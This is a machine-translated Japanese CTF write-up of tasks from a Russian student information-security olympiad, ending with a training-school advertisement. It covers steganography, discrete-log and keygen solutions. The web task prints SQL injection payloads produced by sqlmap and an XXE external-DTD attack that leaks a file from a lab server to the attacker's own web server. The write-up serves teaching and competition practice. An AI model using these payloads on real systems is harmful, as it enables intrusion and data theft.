教育科学省のCTF:情報セキュリティにおけるオリンピアードのタスクの分析

MEPhIは毎年、情報セキュリティの学生オリンピックを開催しています。 これは非常に珍しいイベントで、通常のタスクベースのCTFとは大きく異なります。 オリンピアードが公式の地位を持ち、教育省によっても認められていることは面白いですが、それについて知っている人はほとんどいません。 さらに、受賞者と受賞者には、試験なしでモスクワ工学物理学研究所に入学する機会があります。



脳を伸ばし、情報セキュリティの分野で知識をテストしたいという欲求に燃えている場合、オリンピアードの実戦ラウンドのさらに5つの興味深いタスクの分析をお読みください。



オリンピアードは、理論と実用の2つのラウンドに分かれています。 彼らは短い休憩で1日3時間続きます。 理論的なツアーは試験のようなものです。最初のタスクは、暗号化と暗号解析に関する5つの質問で構成されており、詳細な回答が必要です。 2番目のタスクは、情報技術のセキュリティに関する大きなテストです。 理論ツアーの試用版はこちらにあります



実践ツアーでは、プログラミング、リバースエンジニアリング、Webの脆弱性の利用、暗号化、ステガノグラフィーに関連する10の比較的単純なタスクを解決します。 これらのタスクを実行するときは、自分のコンピューターを使用できますが、インターネットや外部ストレージメディアにはアクセスできません。



このオリンピアードへの参加は、セキュリティの学生にとって興味深い経験であり、理論的知識と実践的知識の両方をテストすることができます。



タスクH、2018



条件: 公園の待ち合わせ場所に到着したとき、誰も見ませんでしたが、路地の1つを歩いていると、奇妙なスクリーンセーバーを備えたロックされた携帯電話を見つけました。 スプラッシュ画面で暗号化されたパスワードを見つけ、以下のフォームから確認のために送信します。



写真
画像



画像でステゴコンテナを見つけるためのタスクは、通常、単純なものから複雑なものまで、3つの段階で解決されます。



  1. メタ情報チェック:JPEGのEXIF、PNGのIDF
  2. 構造チェック:ASCII行の検索、画像の最後に追加された他のファイルの検索
  3. 画像自体の分析:ヘッダーがデータと一致することを確認し、カラーマップを変更し、LSB \ MSB列挙


まず、ファイルの種類を確認します。



$ file H.jpg H.jpg: JPEG image data, JFIF standard 1.02, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=8, datetime=2009:03:12 13:48:39], baseline, precision 8, 1024x768, frames 3
      
      





exiftoolユーティリティを使用してEXIFからメタ情報を取得し、Creatorフィールドでフラグの最初の部分を見つけます。



 $ exiftool H.jpg | grep Creator Creator                         : part1 - 2b33f7c863ef8b
      
      





binwalkユーティリティを使用してファイルの分析を続けます。



 $ binwalk H.jpg | grep -v 'Unix path' DECIMAL       HEXADECIMAL  DESCRIPTION -------------------------------------------------------------------------------- 0             0x0  JPEG image data, JFIF standard 1.02 46            0x2E  TIFF image data, big-endian, offset of first image directory: 8 628320        0x99660  Zip archive data, at least v2.0 to extract, compressed size: 21, uncompressed size: 19, name: part2.txt 628471        0x996F7  End of Zip archive 628493        0x9970D  PNG image, 385 x 338, 8-bit/color RGBA, non-interlaced 628584        0x99768  Zlib compressed data, compressed
      
      





オフセット0x99660にpart2.txtファイルを含むZipアーカイブがあり、オフセット0x9970Dにpng画像があることがわかります。



binwalkを使用すると、これらのファイルを取得し、zipアーカイブを自動的に解凍することもできます。



 $ binwalk -D 'zip archive:zip:unzip %e' -D 'png image:png' H.jpg $ cd _H.jpg.extracted $ ls 99660.zip  996F7.zip 9970D.png  99768 99768.zlib part2.txt $ cat part2.txt part 2 - 6b9efd1b89
      
      





9970D.png:



画像



フラグのすべての部分をまとめて収集します-タスクは完了しました。



タスクA、2016



条件: スクリプトの結果が10899914993644372325321260353822561193であることがわかっている場合、次のphpスクリプトで$フラグ変数の値(32桁の16進文字)を見つけます。



 <?php $n = "35948145881546650497425055363061529726"; $flag = "... 32 hex chars ..."; // find the flag $x = bchexdec($flag); echo bcpowmod(1511, $x, $n); function bchexdec($dec) {   $res = 0;   $mn = 1;   $l = strlen($dec);   for($i=0;$i<$l;$i++)   {     $res = bcadd($res, bcmul($mn, hexdec($dec[$l-$i-1])));     $mn = bcmul($mn, 16);   }   return $res; } ?>
      
      





関数bcpowmodは、剰余環35948145881546650497425055363061529726で数値1511を未知の程度まで上げるため、フラグは1511に基づいて10899914993644372325321260353822561193の離散対数です。



このような問題をゼロから長い間解決するスクリプトを作成する場合、単純な列挙も役に立たないため、無料のSageコンピューター代数システムを使用することをお勧めします。



 #!/usr/bin/sage from sage.all import * R = IntegerModRing(35948145881546650497425055363061529726) y = 10899914993644372325321260353822561193 g = 1511 x = discrete_log(R(y), R(g)) print("Flag is: " + hex(x))
      
      





Sageの起動:



 $ sage solve.py Flag is: 1203ca52964b15cd12887d920d229
      
      





スクリプト内のフラグを置き換えて、答えが正しいことを確認します。



 % php A.php 10899914993644372325321260353822561193
      
      





タスクC、2016



条件: ログイン用のシリアル番号を生成し、login:スペースなしのシリアル番号の形式で検証に応答を送信します。



ExeinfoPeを使用して、バイナリに関する情報を取得します。



画像



アドバイスに従い、ファイルを解凍します。



 $ upx -d auth_x32.exe                      Ultimate Packer for eXecutables                         Copyright (C) 1996 - 2013 UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013       File size         Ratio Format     Name  --------------------   ------ ----------- -----------  1427267 <-    807235 56.56%    win32/pe auth_x32.exe Unpacked 1 file.
      
      





使用するコンパイラを定義します。



画像



main関数を逆コンパイルし、ファイルを使用して出力を少し変更します。



画像



プログラムのアルゴリズムは次のとおりです。



  1. コマンドラインの引数を通じて、ユーザーのログインと16進形式の32文字のキーが入力されます。
  2. 16進数からのキーはバイナリに変換され、ログイン時にバイトをします。
  3. 次に、結果のシーケンスの各要素が次の式で変換されます。



     key[k] = 2 * key[(k + 1) & 0xF] | (key[k] >> 7) ^ key[k]
          
          



  4. memcmp関数を使用した変換の結果は、correct_keyバイト文字列と比較されます。 その完全な値は1136CB46FFF370685D41C348CCAD6EC7です


16個の方程式のシステムを構成し、z3 SMTソルバーを使用して解きます。



 #!/usr/bin/env python from z3 import * import binascii #   hardcode = [0x11, 0x36, 0xCB, 0x46, 0xFF, 0xF3, 0x70, 0x68, 0x5D, 0x41, 0xC3, 0x48, 0xCC, 0xAD, 0x6E, 0xC7] username = "hummelchen" ulen = len(username) #   key = [BitVec('k[{}]'.format(x), 8) for x in range(0,16)] s = Solver() #    for k in range(0, 16):   s.add(hardcode[k] == (2 * key[(k + 1) & 0xF] | LShR(key[k], 7)) ^ key[k]) # ,    if s.check() != 'sat':   print('Cannot solve this system')   return model = s.model() serial = "" #       for i in range(0, 16):   h = model.evaluate(key[i]).as_long()       serial += chr(h ^ ord(username[i % ulen])) print(binascii.hexlify(serial))
      
      





ソリューションを確認します。



 $ auth_x32.exe hummelchen 094d6a0bf55b01e195b823316b080169 Correct
      
      





タスクDおよびE、2016



条件:

D:タスクに対する回答は、忘れられたサーバーのデータベースの1つに保存されます。 サイトで脆弱性を見つけ、その助けを借りて答えを読んでください。

E:タスクに対する回答は、サーバー上のファイルの1つに保存されます。 サイトで脆弱性を見つけて、それでファイルを読んでください。



忘れられたサーバーのWebインターフェースはやや禁欲的に見えます。テキスト認証フォームとタイトル「Online bank system」だけです。



画像



パスワードで保護されたphpmyadminとrobots.txtがあり、サーバー上のファイルとディレクトリのブルートフォースがヒントに含まれています。



 $ python3 ./dirsearch.py -u http://192.168.56.11/  --exclude-status=403 -e txt Target: http://192.168.56.11/ [19:52:31] Starting: [19:52:37] 200 -  453B - /index.php                                                                            [19:52:37] 200 -  453B - /index.php/login/ [19:52:37] 301 -  318B - /javascript  -> http://192.168.56.11/javascript/ [19:52:38] 301 -  318B - /phpmyadmin  -> http://192.168.56.11/phpmyadmin/                           [19:52:39] 200 -    8KB - /phpmyadmin/                              [19:52:39] 200 -   55B - /robots.txt                                                                                                                                                                      Task Completed $ curl http://192.168.56.11/robots.txt I think js filter is 100% safe for checking user data
      
      





認証ページのソースコードを調べ、疑わしいjquery.jsスクリプトを確認します



 function login() { var user = $("#user").val(); var pass = $("#pass").val(); for(i=0;i<user.length;i++)   if (user.charCodeAt(i) < 0x61 || user.charCodeAt(i) > 0x7a)   {     resp("Invalid user format");     return false;   } for(i=0;i<pass.length;i++)   if (pass.charCodeAt(i) < 0x61 || pass.charCodeAt(i) > 0x7a)   {     resp("Invalid pass format");     return false;   } var auth = "<auth><user>"+user+"</user><pass>"+pass+"</pass></auth>"; $.post("/ajax.php", {"auth": auth}, resp); } function resp(data) { $("#info").html('<font color="red">'+data+'</font>'); }
      
      





Burp Suiteを使用して承認のためのPOSTリクエストをインターセプトし、すぐにSQLインジェクションの可能性を確認します。



画像



脆弱性の悪用プロセスを自動化するには、リクエストテキストをファイルに保存し、アスタリスクで注入場所をマークし、-r file_nameオプションを使用して結果をsqlmapにロードします。



 auth=<auth><user>admin</user><pass>*</pass></auth>
      
      





見つかった脆弱性
 Parameter: #1* ((custom) POST)   Type: boolean-based blind   Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)   Payload: auth=<auth><user>admin</user><pass>' OR NOT 9081=9081#</pass></auth>   Type: error-based   Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)   Payload: auth=<auth><user>admin</user><pass>' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170787871,(SELECT (ELT(7559=7559,1))),0x7170707a71,0x78))s), 8446744073709551610, 8446744073709551610)))-- cPnm</pass></auth>   Type: AND/OR time-based blind   Title: MySQL <= 5.0.11 AND time-based blind (heavy query)   Payload: auth=<auth><user>admin</user><pass>' AND 7893=BENCHMARK(5000000,MD5(0x585a6178))-- sWuO</pass></auth>   Type: UNION query   Title: MySQL UNION query (NULL) - 1 column   Payload: auth=<auth><user>admin</user><pass>' UNION ALL SELECT CONCAT(0x7170787871,0x61495771514b7a677663454c464c79565447794c6f4362457375535161467872446e486e4f654b53,0x7170707a71)#</pass></auth>
      
      







利用可能なデータベースを決定します。



 available databases [2]: [*] information_schema [*] site
      
      





タスクDのフラグを取得します。



画像



現在のユーザーはデータベース管理者ではないため、ホスト上のファイルを読み取ることができないため、別の攻撃ベクトルを使用する必要があります。 XML eXternal Entity攻撃を使用してみましょう。



XMLパーサーに目的のファイルを読み取らせ、このファイルの内容をURIとして使用して、エラーメッセージに表示することができます。



これを行うには、特別なDTDファイル(データ型定義、データ型定義)を作成します。 サーバー上のXMLパーサーは、メインペイロードを処理する前にそのコンテンツをロードします。これにより、%ペイロード値をURIとして使用できます。

xxe.dtd:



 <!ENTITY % err "<!ENTITY % trick SYSTEM '%payload;'>"> %err;
      
      





ここで、pythonを使用してWebサーバーを起動します。xxe.dtdファイルはそのルートディレクトリにあるはずです。



 $ python -m SimpleHTTPServer 1234
      
      





このタイプのリクエストをサーバーに送信します。



画像



ユーザーリストの行にタスクEのフラグが表示されます。



PSこの年および過去数年間のオリンピアードの実戦ラウンドのすべてのタスクは、リンクから入手できます。

GUS実践ガイダンスツアー2016

GUS実践ガイダンスツアー2017

GUS実践ガイダンスツアー2018



投稿者Yaroslav Shmelev、講師、HackerU 情報セキュリティスペシャリスト






イスラエルのHackerU ITおよびセキュリティ高等学校の教師のほとんどは、コンテストに参加し、ペンテスト、ウェブ開発、ブロックチェーンのコンテストに参加しています。 勝者になるには、高いモチベーションだけでは不十分です。 本当に役立つ知識とスキルが必要であり、それらは最高の開業医からのみ得られます。 将来的に疑問がある場合は、需要のある職業を学びたい場合は、お問い合わせください 。 不要なものはすべて取り除き、ITの世界で自分を見つけられるようにすることをお約束します。



All Articles